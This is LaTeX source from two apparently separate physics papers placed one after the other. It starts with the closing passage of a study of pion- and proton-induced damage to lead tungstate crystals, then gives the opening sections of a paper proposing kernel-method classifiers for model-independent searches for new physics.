and its uncertainty similarly to the one for $\mathcal{F}_{24}$. For
the irradiation of the $A\ell$ foil, we obtained $\overline{I} = (
1744.35 \pm 1.76) \;\mu$A and $\mathcal{F}_{24} = 1.249 \pm 0.001$,
while during the crystal irradiation we had $\overline{I} = ( 1653.58
\pm 0.21)\; \mu$A. The small uncertainties in average beam
intensities show how stable the beam conditions were throughout the
irradiation. The determination of the $^{22}$Na activity proceeded
analogously, but no
corrections for decays during the irradiation needed to be applied,
since its duration was much shorter than the $^{22}$Na life time,
$\tau_{22} = 2.6$ y.
After corrections for beam intensity fluctuations and for the isotope
decays since the time of production, the spectrometric analysis of the
foil irradiated without a crystal yields a cross section ratio
\begin{equation}
\frac{\sigma\left(A\ell(\pi^+,X)^{24}Na\right)}{\sigma\left(A\ell(\pi^+,X)^{22}Na\right)}= \frac{K_{24}}{K_{22}}=0.785 \pm 0.048
\label{e-RNa}
\end{equation}
and thus, using Eq.~\ref{e-sigma24},
\begin{equation}
\sigma\left(A\ell(\pi^+,X)^{22}Na\right)=(25.5 \pm 1.8)\; \mathrm{mb}
\end{equation}
This
cross section, together with the spectrometric $^{22}$Na activity
analysis applied to the foil placed in front of the crystal yields,
assuming that all $^{22}$Na is due to activation by pions, a total
pion fluence $\Phi_{\pi}=(5.67 \pm 0.46)\times 10^{13}\;
\mathrm{cm^{-2}}$ for the crystal irradiation.
While beam contaminations by other particles are
negligible~\cite{r-REN,r-GLA}, $^{22}$Na production by neutrons
originating from the hadron cascade in the crystal had to be
considered. To quantify this systematic effect, we determined the
ratio of the incoming beam fluences measured by the ionization chamber
during the foil activation and during the crystal irradiation,
\begin{equation}
R_{ICS}=\frac{N_{ICS}^{A\ell + Crystal}}{N_{ICS}^{A\ell}}
\end{equation}
and compared it to the ratio of fluences, $R_{Na}$, determined from
the $^{22}$Na activation of the foils assuming it was all due to
beam particles. We obtain
\begin{equation}
R_{ICS}=13.16\pm 0.40
\end{equation}
to be compared with
\begin{equation}
R_{Na}=13.44 \pm 0.76.
\end{equation}
The two ratios are consistent within the precision of the
measurements, which means that the amount of $^{22}$Na isotopes created by
neutrons coming from the crystal can be neglected.
As an additional cross-check, the fluence ratios
above can be compared to the fluence ratio of the primary beam for
the two irradiations, which we obtain from Ref.~\cite{r-MEZ} data using Eq.~\ref{e-INT}:
\begin{equation}
R_{Beam}=13.02 \pm 0.01
\end{equation}
The consistency observed demonstrates that the beam has been very
stable, and that the instantaneous primary beam intensities can be
used to take into account the $^{24}$Na activity decay in $A\ell$
foils during irradiation.
\section{Measurements and Results}
Hadrons in the range of energies and fluences considered, only change
a crystal's light transmission, while the scintillation
mechanisms remain unaffected, as we have shown in
Ref.~\cite{r-LYNIM}. Thus, this study of damage focuses on the
hadron-induced light transmission changes, which have been measured
with a Perkin Elmer Lambda 900 spectrophotometer over the range of
wavelengths between 300 nm and 800 nm, in steps of 1 nm.
\begin{figure}[bh]
\begin{center}\footnotesize
\mbox{\includegraphics[width=15cm]{070925_plotLTcomo.eps}}
\end{center}
\caption{Longitudinal Light Transmission curves for the three crystals
showing their degree of hadron-induced damage one month after the irradiation,
compared to the values before irradiation.
\label{f-LT}}
\end{figure}
\begin{figure}[th]
\begin{center}\footnotesize
\mbox{\includegraphics[width=15cm]{070829_mupion.eps}}
\end{center}
\caption{Recovery data for crystals
{\em w1} and {\em w3} after proton
irradiation, and for crystal {\em w2} after pion irradiation.
\label{f-REC}}
\end{figure}
\begin{figure}[bh]
\begin{center}\footnotesize
\mbox{\includegraphics[width=12cm]{070829_mup_pi.eps}}
\end{center}
\caption{Induced absorption coefficient, $\mu_{IND}^{TT}(420\; \mathrm{nm})$,
measured transversely, as a function of position along
the crystals length, 150 days after irradiation. The {\em w1} and {\em w3}
data are placed according to the crystals' position during irradiation.
\label{f-MUT}}
\end{figure}
\begin{figure}[th]
\begin{center}\footnotesize
\mbox{\includegraphics[width=12cm]{070830_mupipratio.eps}}
\end{center}
\caption{Ratio of induced transverse absorption coefficients for
{\em w2} and {\em w1} (black dots)
normalised to the same fluence, compared to the ratio of
star densities produced by pions and protons (crosses).
\label{f-MUR}}
\end{figure}
Details to
the measuring technique and precision can be found in
Ref.~\cite{r-LTNIM}.The Longitudinal Light Transmission (LT) values measured one month
after irradiation on all three crystals through their 7.5 cm length are
shown in Fig.~\ref{f-LT}.
It is evident that qualitatively, the LT
changes for crystal {\em w2} after pion irradiation are similar to the
ones for crystals {\em w1} and {\em w3} after the proton
irradiation. In particular, the shift in band-edge observed already in proton
irradiations is present in the $\pi$-irradiated {\em w2} crystal as
well, while it is absent in $\gamma$ irradiated ones~\cite{r-LTNIM}. The
comparable magnitude of damage was achieved on purpose by an
appropriate choice of irradiation fluences.
Light transmission was measured over time, to provide recovery data.
The damage is quantified through the induced absorption coefficient at
the peak of the scintillation emission, defined according
to~\cite{r-LTNIM} as:
\begin{equation}
\mu_{IND}^{LT}(420\; \mathrm{nm}) = \frac{1}{\ell}\times \ln \frac{LT_0}{LT}
\label{muDEF}
\end{equation}
where $LT_0\; (LT)$ is the Longitudinal Transmission value measured
before (after) irradiation through the length $\ell$ of the crystal.
The evolution of damage over time is shown in Fig.~\ref{f-REC} for all
three crystals. The data, taken over more than 2 years, are well
fitted, as in the proton irradiation studies of Ref.~\cite{r-LTNIM},
by a sum of a constant and two exponentials with time constants
$\tau_i\; (i=1,2)$:
\begin{equation}
\mu_{IND}^{LT,\; j}(420\; \mathrm{nm},t_{\rm{rec}}) = \sum_{i=1}^{2} A_i^je^{-t_{\rm{rec}}/\tau_i} + A_3^j,
\label{e-Afit}
\end{equation}
where $t_{\rm{rec}}$ is the time elapsed since the irradiation, while
$A_i^j,\; (i=1,2)$ and $A_3^j$ are the amplitude fit parameters for
crystal $j\; (j=1,2,3)$. Figure \ref{f-REC} shows the results of a
fit where the recovery time constants have been kept fixed to the
values obtained in Ref.~\cite{r-LTNIM}, $\tau_1 = 17.2$ days and
$\tau_2 = 650$ days. A similar $\chi^2$ quality can be obtained
performing a fit of the form
\begin{equation}
\mu_{IND}^{LT,\; j}(420\; \mathrm{nm},t_{\rm{rec}}) = B_0^j\left(e^{-t_{\rm{rec}}/\tau_2}
+ B_2\right) + B_1^j e^{-t_{\rm{rec}}/\tau_1}.
\label{e-Bfit}
\end{equation}
Such a fit, where $B_2$ is forced to be the same for all three
crystals, corresponds, for $t_{\rm{rec}} >> \tau_1$, to a constant damage
amplitudes ratio between crystals, and makes further damage
comparisons independent from the time where the measurement is
performed. The best fit is obtained from Eq.~\ref{e-Bfit}, and it
yields $\tau_1 = 52$ days, $\tau_2 = 369$ days and $B_2=3.75$. Since
$B_2$ corresponds to the ratio $\frac{A_3}{A_2}$ (see Eq.~\ref{e-Afit}),
the results indicate that 78\% of the long-term damage does not
recover, as it is also evident from Fig.~\ref{f-REC}.
To compare proton- and pion-damage, we performed measurements of the
Transverse Light Transmission (TT) profiles along the length of the
crystals, 150 days after irradiation, shining the spectrophotometer
light beam across their $\sim 2.4$ cm transverse dimension.
The date was chosen such that the $\tau_1$ component of the damage had
practically disappeared. The damage is quantified through the transverse
induced absorption coefficient at the peak of the scintillation
emission, $\mu_{IND}^{TT}(420\; \mathrm{nm})$, defined analogously to
$\mu_{IND}^{LT}(420\; \mathrm{nm})$ in Eq.~\ref{muDEF}, with $\ell$
the transverse crystal dimension for each given longitudinal position.
The measurements are shown in Fig.~\ref{f-MUT}. The damage as a
function of position
has the same shape as the star\footnote{A star is
defined~\cite{r-LTNIM} as an inelastic hadronic interaction caused
by a projectile above a given threshold energy.} densities as a function
of depth obtained from FLUKA simulations (Fig.~3 in
Ref.~\cite{r-LTNIM} and Ref.~\cite{r-HUH}). This constitutes yet
another confirmation of our understanding of the hadron damage
mechanisms in Lead Tungstate: it turns out to be proportional to the
star densities in the crystals, in that it is due to the very high
local ionization from fragments created in nuclear collisions. The
observed decrease of damage with depth for crystal {\em w2} is due to
the absorption in the crystal and agrees with the measured $\pi$
absorption cross-section in Lead Tungstate that can be extracted from
Ref.~\cite{r-ASH}.
The present study was advocated in Ref.~\cite{r-LTNIM}, to
experimentally determine the factor needed to quantitatively scale the
damage measured for high-energy protons to the particle spectrum
expected at the LHC, which is mostly composed by pions with energies
$\leq 1$ GeV. For this purpose, in Fig.~\ref{f-MUR} we have
normalised to the same particle fluence the transverse damage from
pions measured for crystal {\em w2} and the one from protons for
crystal {\em w1}, and we have plotted their ratio as a function of
depth. It should be noticed there, that the large error bars for the
first 2 cm of depth are dominated by the uncertainties on the
measurement of the very small damage values from protons in {\em w1}.
In the same plot, we show the ratio of star densities obtained from
FLUKA simulations for the two cases~\cite{r-LTNIM,r-HUH}. The
measured ratios and the star densities ratios are in agreement within
the experimental uncertainties. This demonstrates that, at least for
the considered particle types and energy range, the measured damage
can simply be rescaled to given experimental conditions through the
ratio of simulated star densities. Furthermore, in Ref.~\cite{r-LTNIM}
it was argued that, in addition to star densities, the total track
length of stars might play a role. The results shown in
Fig.~\ref{f-MUR} rule out this hypothesis.
\section{Conclusions}
\label{s-CON}
We have performed a 24 GeV/c proton irradiation of two PbWO$_4$
crystal samples and a 290 MeV/c $\pi^+$ irradiation of a third one, and we
have studied the damage caused to the crystal light transmission. The
longitudinal profile of the damage is proportional to the star
densities obtained from simulations, and the profile of induced
absorption coefficient ratios is well reproduced by the profile of
star densities ratios. We conclude that, in a fluence regime where
the damage due to the associated ionising dose can be neglected, the
damage to be expected from pions at energies around 1 GeV/c can be
rescaled from the damage measured for 24 GeV/c protons by means of
star densities ratios obtained from simulations.
\section*{Acknowledgements}
We are indebted to R.~Steerenberg, who provided us with the required
CERN PS beam conditions for the proton irradiations. We are grateful
to the PSI accelerator staff for the very stable beam, and in
particular to A.-Ch.~Mezger for providing us also with detailed beam
intensity data. We are deeply grateful to M.~Glaser and F.~Ravotti,
who helped us in operating the proton irradiation and dosimetry
facilities at CERN. We also gratefully acknowledge the help of
F.~Jaquenod and F.~Malacrida who performed the dosimetric measurements
at PSI after the pion irradiation. M.~Huhtinen's contribution in
the early phases of preparatory work is warmly acknowledged.
|
1,477,468,750,029 | arxiv | \section{Introduction}\label{sec:intro}
Experimental observations and convincing conceptual arguments indicate that the present understanding of fundamental physics is not complete.
Our theoretical formulation of the fundamental laws of Nature, the Standard Model, has been predicting with extremely high precision an impressive amount of data collected at past and ongoing experiments. On the other hand, the Standard Model does not provide answer to a multitude of questions including the origin of the electroweak scale, the mass of neutrinos, the flavour structure in the quark, lepton and neutrino sectors, and is unable to account for observed phenomena like the origin and the composition of the dark matter of the baryon asymmetry in the Universe. Further, it does not provide a microscopic description of gravity. These considerations guarantee the existence of more fundamental laws of Nature waiting to be unveiled. In order to access these laws, we must search the experimental data for phenomena that depart from the Standard Model predictions.
Currently, the most common searching strategy is to test the data for the presence of specific new physics models, one at the time.
Each search is then optimized to be sensitive to the features specific of the considered new physics scenario.
This approach is in general insensitive to sources of discrepancy that differ from those considered.
There is therefore a strong effort in developing analysis strategies that are agnostic about the nature of potential new physics and thus complementary to the model-dependent approaches described above
\cite{Choudalakis:2011qn,D0:2000vuh,D0:2000dnz,H1:2004rlm,H1:2008aak,Asadi:2017qon,CDF:2007iou,CDF:2008voc,CMS:2008gya,CMS:2017yoc,ATLAS:2014sxa,ATLAS:2017irs}. Ideally, this type of analysis should be sensitive to generic departures from a given reference model. In practice, this is a challenge given the complexity of the experimental data in modern experiments and the fact that the new physics signal is expected to be ``small" and/or located in a region of the input features which is already populated by events predicted by the reference model.
Recently, there has been a strong push towards developing solutions based on machine learning for (partial or full) model-independent searches in high energy physics \cite{Weisser:2016cnc,Cerri:2018anq,DAgnolo:2018cun,DAgnolo:2019vbw,DeSimone:2018efk,Farina:2018fyg,Collins:2018epr,Blance:2019ibf,Hajer:2018kqm,Heimel:2018mkt,Collins:2019jip,Nachman:2020lpy,Andreassen:2020nkr,Amram:2020ykb,Dillon:2020quc,Cheng:2020dal,Khosa:2020qrz,Nachman:2020ccu,Park:2020pak,Bortolato:2021zic,Finke:2021sdf,Gonski:2021jek,Hallin:2021wme,Ostdiek:2021bem,Chakravarti:2021svb}.
In this work we present a novel machine learning implementation of the analysis strategy proposed by D'Agnolo et al. \cite{DAgnolo:2018cun,DAgnolo:2019vbw}.
The aim of this strategy is to compute the log-likelihood-ratio test statistics without specifying the alternative new physics hypothesis a priori. Towards this end, a neural network model was used in \cite{DAgnolo:2018cun,DAgnolo:2019vbw} to learn the alternative hypothesis directly from the data while the log-likelihood-ratio was maximized to get an optimal test statistics.
The strategy assumes that a sample of events representing the Standard Model hypothesis (``reference" sample) is available and that its size is much larger than the one of the experimental data, so that the only relevant statistical uncertainties are those of the data themselves.
In the new implementation presented here, neural networks are replaced by kernel methods. Kernel methods are nonparametric algorithms that can approximate any continuous function given enough data. Recent large-scale implementations \cite{falkonlibrary2020} provides fast and efficient solvers even with very large data-sets.
This is relevant since a key bottleneck of the neural network model used in Ref.~\cite{DAgnolo:2018cun,DAgnolo:2019vbw} is the extremely long training time, even on low dimensional problems.
The solution we propose solves this issue by delivering comparable performances with orders of magnitude gain in training times, see Table \ref{table:tr_times}. We demonstrate the viability of the framework by testing on particle physics datasets of increasing dimensionality, a further step forward with respect to previous studies.
We note that the ideas recently proposed in Ref.~\cite{Chakravarti:2021svb} share some similarities to our approach. Indeed, the authors of Ref.~\cite{Chakravarti:2021svb} developed a model-independent strategy based on classifiers to perform hypothesis testing on Standard Model samples and experimental measurements. However, they implement a train-test split of the data for the reconstruction of the test statistics and for inference. This is a major difference with respect to our approach, where the distribution employed for the evaluation of the test statistics is the one that best fits the very same set of data on which the test has to be performed, in accordance with the maximum likelihood philosophy.
Moreover, while their approach permits to estimate the distribution of the test statistics with a single training of a classifier, only half of the experimental data is used for new physics detection.
A in-depth comparison of the two models will be explored in future works.
The rest of the paper is organized as follows. In Section \ref{sec:framework} we introduce the main statistical framework at the basis of this work, elaborating on the discussion in Ref.~\cite{DAgnolo:2018cun}. In Section \ref{sec:model}, we discuss the different aspects of the proposed model, in particular the underlying machine learning algorithm. In Section \ref{sec:exp}, we test the algorithm on realistic simulated datasets in various dimensions and we explicitly compare our proposal with the neural network models in Ref.~\cite{DAgnolo:2018cun,DAgnolo:2019vbw}. Finally in Section \ref{sec:conclusions}, we lay out our conclusions and discuss future developments. In the appendices, we review some background material and present other complementary experiments.
\section{Statistical foundations}\label{sec:framework}
In this section, we reprise and elaborate the main ideas in Refs.~\cite{DAgnolo:2018cun,DAgnolo:2019vbw}, tackling the problem of testing the data for the presence of new physics with tools from statistics and machine learning.
We start by assuming that an experiment is performed and its outcome can be described by a multivariate random variable $x$. A physical model corresponds to an ensemble of mathematical laws characterizing a distribution for $x$. In this view, we denote by $p(x|0)$ the distribution of the measurements as described by the Standard Model and by $p(x|1)$ the unknown true distribution of the data. Discovering new physics will be cast as the problem of {\em testing} whether the latter coincides with the former or not.
The distribution $p(x|0)$ is essentially known.
Although not analytically computable in most high energy physics applications, it can be sampled via Monte Carlo simulations or extracted using control regions with data driven techniques. In the following, we denote one such set of independent and identically distributed random variables ($i.i.d.$) by
\begin{equation}
S_0=\{x_i\}_{i=1}^{\mathcal{N}_0},\;\textrm{with}\; x_i\overset{i.i.d.}{\sim} p(x|0),
\end{equation}
and the actual measured data by,
\begin{equation}
S_1=\{x_i\}_{i=1}^{\mathcal{N}_1},\;\textrm{with}\; x_i\overset{i.i.d.}{\sim} p(x|1).
\end{equation}
It should be pointed out that in real applications one would also consider the uncertainties affecting the knowledge of the reference model. Similarly to Refs.~\cite{DAgnolo:2018cun,DAgnolo:2019vbw}, we will assume ${\cal{N}}_0 \gg {\cal{N}}_1$ so that the statistical uncertainties on the reference sample can be neglected.
It should be possible to include systematic uncertainties as nuisance parameters, as shown in Ref.~\cite{dAgnolo:2021aun} for the neural network implementation. However, we assume that the systematic uncertainties are negligible in what follows and leave this aspect to future works.
The idea in Ref~\cite{DAgnolo:2018cun} is to translate the maximization of the log-likelihood-ratio test into a machine learning problem, where the null hypothesis characterising one of the likelihood terms is the reference hypothesis (namely the Standard Model) and the alternative hypothesis characterising the other likelihood term is unspecified a priori and learnt from the data themselves during the training. The test statistic obtained in this way is therefore a good approximation of the optimal test statistic according to the Neyman-Pearson lemma.\\
We define the likelihood of the data $S_1$ under a generic hypothesis $H$ as
\begin{equation}\label{extlikelihood}
\begin{aligned}
\mathcal{L}(S_1,H)&=\frac{e^{-N(H)} N(H)^{\mathcal{N}_1}}{\mathcal{N}_1!}\prod_{x=1}^{\mathcal{N}_1} p(x|H)\\
&=\frac{e^{-N(H)}}{\mathcal{N}_1!}\prod_{x}n(x|H),
\end{aligned}
\end{equation}
where
\begin{equation}\label{diffdistr}
n(x|H)=N(H) p(x|H)
\end{equation}
is the data distribution normalized to the expected number of events
\begin{equation}
N(H)=\int n(x|H)\,dx.
\end{equation}
As already said, $p(x|0)$ is essentially known and well represented by the reference sample while $p(x|1)$ is not and thus its exact form must be replaced by a family of distributions $p_w(x|1)$, parametrized by a set of trainable variables $w$.
We can write the likelihood ratio test statistics as,
\begin{equation}\label{test_st}
\begin{aligned}
t_w(S_1)&=-2\log \frac{\mathcal{L}_w(S_1,0)}{\mathcal{L}(S_1,1)}\\
&=-2\log \left[e^{N_{w}(1)-N(0)} \prod_{x=1}^{\mathcal{N}_1}\frac{n(x|0)}{n_w(x|1)}\right]\\
&=-2\left[N_w(1)-N(0)-\sum_{x=1}^{\mathcal{N}_1} \log\frac{n_w(x|1)}{n(x|0)} \right].
\end{aligned}
\end{equation}
and optmize it by maximizing over the set of parameters $w$.
The original proposal in Ref.~\cite{DAgnolo:2018cun} suggested to exploit the ability of neural networks as universal approximators to define a family of functions describing the log-ratio of the density distributions in Eq.~\eqref{test_st}
\begin{equation}
f_w(x) = \log\frac{n_w(x|1)}{n(x|0)}.
\end{equation}
As discussed below the same approach can be taken replacing neural networks with other machine learning approaches, e.g. kernel methods.
Following the above reasoning, the maximum of the test statistic could then be rewritten as the minimum of a loss function $L(S_1, f_w)$
\begin{equation}\label{loss_nplm}
\begin{aligned}
t_{\hat w}(S_1) &= \max_{w}\,t_{w}(S_1)\\
&=-2 \min_{w}\, L(S_1, f_w)\\
&=-2\min_{w}\, \left[ \sum_{S_0}\frac{N(0)}{{\cal N}_0}(e^{f_w(x)}-1) - \sum_{S_1} f_w(x) \right]
\end{aligned}
\end{equation}
and the set of parameters $\hat w$ which maximizes $t_w(S_1)$
\begin{equation}\label{nratio}
n_{\widehat w}(x|1)=n(x|0)e^{f_{\hat w}(x)}\approx n(x|1)
\end{equation}
provides also the best approximation of the true underlying data distribution and with it a first insight on the source and shape of the discrepancy, if present. Note that the loss defined by Eq.~\eqref{loss_nplm} is unbounded from below. In Ref.~\cite{DAgnolo:2018cun} a regularization parameter is introduced as a hard upper bound (weight clipping) on the magnitude of the parameters $w$.
\subsection{Designing a classifier for hypothesis testing}
In this work we develop the above ideas considering a different loss function, namely a weighted cross-entropy (logistic) loss function. This was a possibility mentioned as a viable alternative in Ref.~\cite{DAgnolo:2018cun} that we indeed show to yields several advantages.
To estimate the ratio in Eq.\eqref{nratio} we train a binary classifier on $S=S_0\cup S_1$ using a weighted cross-entropy loss
\begin{equation}\label{wbce}
\ell(y,f(x))=a_0 (1-y) \log \left(1+e^{f(x)}\right)+a_1 y \log \left(1+e^{-f(x)}\right).
\end{equation}
where $y$ is the class label and takes value zero for $S_0$ and one for $S_1$.
The classifier is obtained minimizing an empirical criterion
\begin{equation}\label{ERM}
\hat{L}(f_w)=\frac{1}{\mathcal{N}} \sum_{i=1}^\mathcal{N} \ell(y,f_w(x)),
\end{equation}
over a suitable class of machine learning models $f_w$. If such a models class is sufficiently rich, in the large sample limit we would recover a minimizer of the expected risk
\begin{equation}\label{expRisk}
L(f)=\int \ell (y,f(x)) dp(x,y),
\end{equation}
where $p(x,y)$ is the joint data distribution.
By a standard computation (see Appendix \ref{app:SLT}), the function minimizing the expected risk in Eq.~\eqref{expRisk} can be shown to be
\begin{equation}\label{pratio}
f^*(x)=\log\left(\frac{p(1|x)}{p(0|x)}\frac{a_1}{a_0}\right),
\end{equation}
that, by Bayes theorem and Eq.\eqref{diffdistr}, we can rewrite as
\begin{equation}
f^*(x)=\log\left(\frac{p(x|1)}{p(x|0)}\frac{p(1)}{p(0)}\frac{a_1}{a_0}\right)=\log\left(\frac{n(x|1)}{n(x|0)}\frac{N(0)}{N(1)}\frac{p(1)}{p(0)}\frac{a_1}{a_0}\right).
\end{equation}
From the above expression and choosing the weights so that
\begin{equation}
\frac{a_1}{a_0}=\frac{N(1)}{N(0)}\frac{p(0)}{p(1)},
\end{equation}
Eq.\eqref{pratio} reduces to Eq.\eqref{nratio}, as desired. In practice, the above condition can be satisfied only approximately, since it depends on quantities we do not know. Hence, we first estimate the class priors using the empirical class frequencies, $p(y)\approx \mathcal{N}_y/\mathcal{N}$ with $\mathcal{N}=\mathcal{N}_0+\mathcal{N}_1$ and obtain
\begin{equation}
\frac{a_1}{a_0}\approx\frac{\hat{a}_1}{\hat{a}_0}=\frac{N(1)}{N(0)}\frac{\mathcal{N}_0}{\mathcal{N}_1}.
\end{equation}
Then, we approximate the number of expected events in the alternative hypothesis with the actual number of experimental measurements $N(1)\approx\mathcal{N}_1$.\footnote{This is exact on average, since $\mathcal{N}_1\sim \text{Pois}(N(1))$.}
The following expression of the weights can then be used in practice,
\begin{equation}\label{coeff}
\frac{\hat{a}_1}{\hat{a}_0}=\frac{\mathcal{N}_0}{N(0)}.
\end{equation}
To reconstruct the test statistics in Eq.\eqref{test_st}, the number of expected events in the alternative hypothesis needs to be computed. Using the density ratio in Eq.\eqref{nratio}, we have that
\begin{equation}
\begin{aligned}
&N_w(1)=\int n_w (x|1) \, dx= \int n(x|0) \, e^{f_w (x)} dx,\\
&\textrm{with}\quad \frac{n_w(x|1)}{n(x|0)}=e^{f_w(x)}.
\end{aligned}
\end{equation}
Since the reference distribution $n(x|0)$ is not known analytically, we can estimate the above expression using a Monte Carlo approximation considering
\begin{equation}\label{recoN1}
N_w(1)\approx \frac{N(0)}{\mathcal{N}_0} \sum_{x\in S_0} e^{f_w(x)}.
\end{equation}
Using Eq.~\eqref{recoN1}, the test statistics in Eq.\eqref{test_st} can be written as
\begin{equation}\label{t}
t_{\hat{w}}(S_1)=-2\left[\frac{N(0)}{\mathcal{N}_0}\sum_{x\in S_0}\left(1-e^{f_{\hat{w}}(x)}\right) +\sum_{x\in S_1} f_{\hat{w}}(x) \right]
\end{equation}
recovering the original result from Ref.~\cite{DAgnolo:2018cun}.
The main conceptual difference with respect to the original solution in Ref.~\cite{DAgnolo:2018cun} lays on the computation of the test statistic. When using the loss in Eq.~\eqref{loss_nplm} the test statistic can be directly obtained from the value of the loss function at the end of the training. When using the cross-entropy loss, each term of the log-likelihood-ratio test is calculated separately and then combined, see Eq.~\eqref{t}. This could be a problem if the optimality of the minimization procedure is not ensured. More precisely, in the first case the minimum found at the end of the training is by construction the one maximizing the log-likelihood-ratio test, while this is guaranteed only in the asymptotic limit in the second case. On the other hand, as noted before, the loss function in Eq.~\eqref{loss_nplm} is less well behaved from a mathematical standpoint, making optimization during training less trivial. Interestingly, both loss functions are designed to estimate the same density ration, and in practice we show that they obtain comparable performances in terms of sensitivity to new physics.
We conclude noting that the value of the test statistic $ t_{\widehat w}(S_1)$ is a random variable itself following a distribution $p(t|H)$. The level of significance associated to a value of the test statistic is computed as a $p$-value of the test statistic with respect to its distribution under the null hypothesis
\begin{equation}\label{pvalue}
p_{S_1} = \int_{t(S_1)}^\infty p(t|0)\,dt.
\end{equation}
This can be further rewritten as a Z-score
\begin{equation}\label{Zobs}
Z_{obs}(S_1)=\Phi^{-1}(1-p_{S_1}),
\end{equation}
where $\Phi^{-1}$ is the quantile of a Normal distribution. In this way $Z_{obs}$ is expressed in units of standard deviations.
Following Ref.~\cite{DAgnolo:2018cun}, by leveraging the possibility to sample from the reference distribution, we choose to reconstruct $p(t|0)$ by estimating the likelihood ratio test statistics on a number $N_{toy}$ of toy experiments run on pseudo datasets extracted from the reference sample. The latters have the same statistics of the actual data but do not have any genuine new physics component.
\paragraph{Class imbalance.}
To accurately represent the reference distribution, it is preferable to consider a large reference sample, while the number of experimental samples is determined by the parameters of the experiment, specifically its luminosity. This leads to an imbalanced classification problem and a natural approach is to re-weight the loss using the inverse class frequencies $\mathcal{N}_y$. The true number of expected events differ from the number of events in the reference hypothesis by the number of expected new physics events, i.e., $N(1)=N(0)+N(S)$. Then, one has that $\mathcal{N}_1\sim \text{Pois}(N(0)+N(S))$. From both the experimental and theoretical points of view, it is reasonable to assume that $N(S)\ll N(0)$. Therefore, one has that $\mathcal{N}_1\approx N(0)$. Hence, by using the weight in Eq.\eqref{coeff}, besides recovering the desired target function, we solve potential issues related with an imbalanced dataset, while keeping the statistical advantage of having a large reference sample.
\subsection{Analysis strategy}\label{training_scheme}
The complete analysis strategy can be summarized in three steps:
\begin{itemize}
\item the test statistic distribution is empirically built by running the training on $N_{toy}=\mathcal{O}(100)$ toy experiments for which both the training sample $S_1$ and $S_0$ are generated according to the null hypothesis.
\item One last training is performed on the dataset of interest $S_1$ for which the true underlying hypothesis is unknown and the test statistic value $t(S_1)$ is evaluated.
\item The $p$-value corresponding to $t(S_1)$ is computed with respect to the test statistic distribution under the null hypothesis, studied at step 1.
\end{itemize}
If a statistically significant deviation from the reference data is found, the nature of the discrepancy can be further characterized by inspecting the learned density ratio in Eq.\eqref{nratio}. This quantity is expected to be approximately zero if no disagreement is found and it can be inspected as a function of the input features or their combinations.\\
\paragraph{Asymptotic formula}\label{par:asympt}
Typically, for an accurate estimation of $p(t|0)$, the empirical distribution of the test statistic under the reference hypothesis has to be reconstructed using a large number of toy experiments and this might be practically unfeasible.
If the value of $t(S_1)$ falls outside of the range of the empirical distribution the p-value cannot be computed and only a lower bound can be set.
Inspired by the results by Wald and Wilks \cite{Wilks:1938dza,wald1943tests,Cowan:2010js} characterizing the asymptotic behavior of the log-likelihood test statistics, we approximate the null distribution with a $\chi^2$ distribution. We use the toy-based empirical estimate to determine the degrees of freedom of the $\chi^2$ distribution and we test the compatibility of the empirical test statistic distribution with the $\chi^2$ hypothesis using a Kolmogorov-Smirnov test.
This approximation holds well in almost all instances of our model. We did not explore this aspect in details but we present a counterexample towards the end of Section \ref{sec:exp}. The same approximation is also used in the neural network model of \cite{DAgnolo:2018cun,DAgnolo:2019vbw}. It is worth specifying that, in real-life scenarios, if the p-value computed in this way would imply a discovery, one would run additional toys to obtain an accurate empirical estimation by brute-force exploitation of the large-scale computing resources typically accessible by the LHC collaborations.
\section{Scalable nonparametric learning with Kernels} \label{sec:model}
As mentioned before, a rich model class is needed to effectively detect new physics clues in the data.
In this work, we consider kernel methods\cite{hastie01statisticallearning,falkonlibrary2020} of the form
\begin{equation}\label{kernel_mod}
f_w(x)=\sum_{i=1}^\mathcal{N} w_i k_\gamma(x,x_i).
\end{equation}
Here $k_\gamma (x,x_i)$ is the kernel function and $\gamma$ some hyper-parameter. In our experiments, we consider the Gaussian kernel
\begin{equation}
k_{\sigma}(x,x')=e^{-\Vert x-x'\Vert^2/2\sigma^2},
\end{equation}
so that $f_w$ corresponds to a linear combination of Gaussians of prescribed width $\gamma$, centered at the input points. Such an approach is called nonparametric because the number of parameters corresponds to the number of data points: the more the data, the more the parameters. Indeed, this makes kernel methods universal in the large sample limit, in the sense that they can recover any continuous function \cite{JMLR:v7:micchelli06a,christmann2008support}.
The computational complexity to determine a function as in Eq.~\eqref{kernel_mod} is typically cubic
in time and quadratic in space with respect to the number of points.
These costs prevent the application of basic solvers in large-scale setting, and some approximation is needed.
Towards this end we consider Falkon \cite{falkonlibrary2020}, which replaces Eq.~\eqref{kernel_mod} by
\begin{equation}\label{kernel_sol}
f_w(x)=\sum_{i=1}^M w_i k_{\sigma}(x,\tilde x_i),
\end{equation}
where $\{\tilde{x}_1,..., \tilde{x}_M\} \subset \{x_1,...,x_\mathcal{N}\}$ are called Nystr\"{o}m centers and are sampled uniformly at random from the input data, with $M$ an hyper-parameter to be chosem. Notably, the corresponding solution can be shown to be with high probability as accurate as the original exact one while computable with only a small fraction of computational resources \cite{sun2018but,rudi2021generalization,bach2013sharp,rudi2016more,calandriello2019statistical,li2019towards}. We defer further details to the appendices.
\paragraph{Algorithm training}
The model's weights in Eq.~\eqref{kernel_sol} are computed to minimize the empirical error~\eqref{ERM} defined by the weighted cross-entropy loss introduced before.
Since, the kernel model can be very rich, the search of the best model is done considering
\begin{equation}\label{reg_ERM}
\hat L(f_w)+\lambda R(f_w),
\end{equation}
where the first term is the empirical risk, while $R(f)$ is a regularization term
\begin{equation}
R(f_w)=\sum_{ij} w_i w_j k_{\sigma}(x_i,x_j).
\end{equation}
constraining the complexity of the model \cite{shalev2014understanding}. Problem~\eqref{reg_ERM} is then solved by an approximate Newton iteration \cite{falkonlibrary2020}.
\paragraph{Hyper-parameters tuning}
The number of Nystr\"{o}m centers ($M$), the bandwidth of the Gaussian kernel $\sigma$ and the regularization parameter $\lambda$ are the main hyper-parameters of the model.
The number of centers $M$ determines the number of Gaussians, hence it has an impact on the accuracy and on the computational cost; studies suggests that optimal statistical bounds can be achieved already with $M=\mathcal{O}(\sqrt{\mathcal{N}})$ \cite{rudi2016more,marteauferey2019globally}.
On the other hand, by varying the hyper-parameters $\sigma$ and $\lambda$, more or less complex functions can be selected.
For large $\lambda$ or $\sigma$ the model simplifies and tends to be linear, while for small values it tends to fit the statistical fluctuations in the data.
The values of $M$, $\sigma$ and $\lambda$ affect the distribution of the test statistic under the reference hypothesis. In particular we observe that the test statistic distribution obtained with different choices of the hyper-parameters always fits a $\chi^2$ distribution with a number of degrees of freedom determined empirically as explained in Section \ref{par:asympt}.
